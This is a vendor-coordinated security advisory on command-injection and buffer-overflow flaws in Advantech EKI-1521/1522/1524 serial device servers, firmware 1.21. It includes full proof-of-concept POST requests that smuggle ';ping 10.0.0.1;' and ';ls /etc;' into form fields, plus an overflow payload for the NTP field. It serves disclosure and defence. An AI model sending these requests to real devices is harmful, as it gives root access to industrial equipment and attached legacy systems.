CyberDanube Security Research 20230511-0
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                title| Multiple Vulnerabilities
              product| EKI-1524-CE series, EKI-1522 series, EKI-1521 series
   vulnerable version| 1.21
        fixed version| 1.24
           CVE number| CVE-2023-2573, CVE-2023-2574, CVE-2023-2575
               impact| High
             homepage| https://advantech.com
                found| 2023-03-06
                   by| S. Dietz, T. Weber (Office Vienna)
                     | CyberDanube Security Research
                     | Vienna | St. Pölten
                     |
                     | https://www.cyberdanube.com
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Vendor description
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"Advantech’s corporate vision is to enable an intelligent planet. The company
is a global leader in the fields of IoT intelligent systems and embedded
platforms. To embrace the trends of IoT, big data, and artificial intelligence,
Advantech promotes IoT hardware and software solutions with the Edge
Intelligence WISE-PaaS core to assist business partners and clients in
connecting their industrial chains. Advantech is also working with business
partners to co-create business ecosystems that accelerate the goal of
industrial intelligence."

Source: https://www.advantech.com/en/about


Vulnerable versions
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EKI-1524-CE series / 1.21
EKI-1522-CE series / 1.21
EKI-1521-CE series / 1.21

Vulnerability overview
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1) Authenticated Command Injection (CVE-2023-2573, CVE-2023-2574)
The web server of the device is prone to two authenticated command injections.
These allow an attacker to gain full access to the underlying operating system
of the device. This device class can be attached to legacy systems via RS-232,
RS-422 or RS-485. Such peripheral systems can be affected by attacks to the
device from malicious actors.

2) Buffer Overflow (CVE-2023-2575)
The web server is prone to a buffer overflow, triggered due to missing input
lenght validation in the NTP input field. According to the vendor, the NTP
server string is expected to be 64 bytes long, which is not correctly checked.

Proof of Concept
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1) Authenticated Command Injection
The web server is prone to two authenticated command injections via POST
parameters. The following proof-of-concepts show how to inject commands to the
system which gets executed with root permissions in the background:

1.1) Blind Authenticated Command Injection in NTP Server Name (CVE-2023-2573)
The following POST request executes the command “;ping 10.0.0.1” on the system:
===============================================================================
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1
Host: 172.16.0.100
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 541
Origin: http://172.16.0.100
Connection: close
Referer: http://172.16.0.100/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=;ping+10.0.0.1;&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

===============================================================================
It is also possible to execute this command without any interceptor proxy by
enclose it with ";", which results in the string “;ping 10.0.0.1;”.

1.2) Blind Authenticated Command Injection in Device Name (CVE-2023-2574)
The device name can also be abused for command injection. It is only executed
on reboot, but this can also be done via the device’s web-interface. A POST
request which injects the command “;ls /etc;” can be looks like the following:
===============================================================================
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1
Host: 172.16.0.100
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 541
Origin: http://172.16.0.100
Connection: close
Referer: http://172.16.0.100/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=;ls+/etc;&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

===============================================================================
Such command can also be injected by setting the device name to “;ls /etc;”.


2) Buffer Overflow (CVE-2023-2575)
The following POST request can be used to trigger a buffer overflow
vulnerability in the web server:
===============================================================================
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1
Host: 172.16.0.97
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 823
Origin: http://172.16.0.97
Connection: close
Referer: http://172.16.0.97/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=7&min_name=2&sec_name=52&tz=UTC12%3A0&ntp_name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80
===============================================================================

The serial port of the device provides error messages, which already indicate
that the stack has been corrupted:
/ # *** Error in `./index.cgi': free(): invalid next size (normal): 0x00069828 ***
*** Error in `./index.cgi': malloc(): memory corruption: 0x00069898 ***

Furthermore, the forked child processes seem to remain in the process list as
zombies - three buffer overflows were triggered in this case:
/ # ps
PID   USER     COMMAND
[...]
  935 root     ./index.cgi func=setsys
  959 root     ./index.cgi func=setsys
  983 root     ./index.cgi func=setsys
[...]


The vulnerabilities were manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution
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Update the product to the latest available firmware version.


Workaround
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None


Recommendation
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CyberDanube recommends Advantech customers to upgrade the firmware to the
latest version available.


Contact Timeline
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2023-03-08: Contacting Advantech via Service Request form; No answer.
2023-03-13: Contacting Advantech via Czech PSIRT (security@advantech.cz);
            Vendor confirmed vulnerabilities and will provide a fixed firmware
            until 2023-05-13. Asked vendor for affected models; Vendo
            responded that EKI-1524/1522/1521 series are affected.
2023-03-20: Asked for status update.
2023-03-21: Vendor responded that the firmware is currently under testing.
2023-03-31: Vendor statet, that firmware is done and sent it via email; Found
            additional issues and responded to vendor.
2023-04-01: Vendor asked multiple question.
2023-04-02: Responded to vendor, answered questions and asked for a call;
            Vendor agreed.
2023-04-04: Set date for a call to 2023-04-10.
2023-04-10: Clarified further issues.
2023-04-23: Vendor sent notification that a beta release of the firmware is
            available.
2023-05-02: Vendor sent notification that a new firmware release is online.
2023-05-04: Asked vendor if the advisory can be published earlier than agreed.
2023-05-08: Asked for status update; Vendor confirmed that all vulnerabilities
            have been fixed.
2023-05-11: Coordinated release of security advisory.

Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com

EOF S. Dietz, T. Weber / @2023